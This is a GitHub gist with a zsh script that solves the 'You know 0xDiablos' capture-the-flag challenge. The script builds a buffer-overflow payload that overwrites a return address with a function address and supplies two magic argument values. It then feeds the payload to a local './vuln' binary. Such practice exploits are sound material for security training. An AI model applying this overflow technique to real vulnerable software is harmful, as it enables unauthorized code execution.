Skip to content

Instantly share code, notes, and snippets.

@originalsouth
Created May 3, 2020 20:02
Show Gist options
  • Save originalsouth/aada55519deaf5bdb558a938d925a6b9 to your computer and use it in GitHub Desktop.
Save originalsouth/aada55519deaf5bdb558a938d925a6b9 to your computer and use it in GitHub Desktop.
You know 0xDiablos
#!/usr/bin/env zsh
[[ -z $DEBUG ]] || set -x
TARGET=./vuln
BUFF=$(printf 'x%.0s' {1..188})
FUNC=$(printf '\xE2\x91\x04\x08')
VAR1=$(printf '\xEF\xBE\xAD\xDE')
VAR2=$(printf '\x0D\xD0\xDE\xC0')
PADD=$(printf '\xFF%.0s' {1..4})
PAYLOAD=$(printf '%s%s%s%s%s%s' $BUFF $FUNC $PADD $VAR1 $VAR2)
[[ -z $DEBUG ]] || echo -n "$PAYLOAD" | xxd
PIPE=$(mktemp -u)
mkfifo -m 600 $PIPE
cat $PIPE | $TARGET &
echo "$PAYLOAD" >> $PIPE
wait
rm -f $PIPE
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment